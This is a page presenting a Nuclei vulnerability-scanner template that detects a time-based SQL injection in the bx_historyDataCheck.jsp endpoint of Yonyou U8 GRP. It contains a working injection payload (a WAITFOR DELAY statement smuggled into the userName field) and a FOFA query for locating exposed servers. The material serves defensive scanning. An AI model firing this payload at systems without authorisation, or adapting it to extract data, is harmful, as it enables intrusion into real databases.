Skip to content

Yonyou U8 bx_historyDataCheck - SQL Injection

ID: yonyou-u8-sqli

Severity: high

Author: xianke

Tags: time-based-sqli,yonyou,grp,sqli

Yonyou U8 Grp contains a SQL injection vulnerability.

id: yonyou-u8-sqli
info:
name: Yonyou U8 bx_historyDataCheck - SQL Injection
author: xianke
severity: high
description: |
Yonyou U8 Grp contains a SQL injection vulnerability.
reference:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-grp-u8-bx_historyDataChecks-sqli.yaml
- https://github.com/MD-SEC/MDPOCS/blob/main/Yongyou_Grp_U8_bx_historyDataCheck_Sql_Poc.py
metadata:
verified: true
max-request: 2
fofa-query: icon_hash="-299520369"
tags: time-based-sqli,yonyou,grp,sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET /login.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- 'GRP-U8'
internal: true
- raw:
- |
@timeout: 20s
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
userName='%3bWAITFOR+DELAY+'0%3a0%3a5'--%26ysnd%3d%26historyFlag%3d
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'contains(content_type, "text/html")'
condition: and
# digest: 490a00463044022070bb9b67db154f7a709cd29979c4e4ee8a26c73c6979edbbf6b23427facc792e02201a19059fe0b5c5880346e9d3f4996f372a47a4d1659a3ccc0a28884c974a957c:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/yonyou/yonyou-u8-sqli.yaml"

View on Github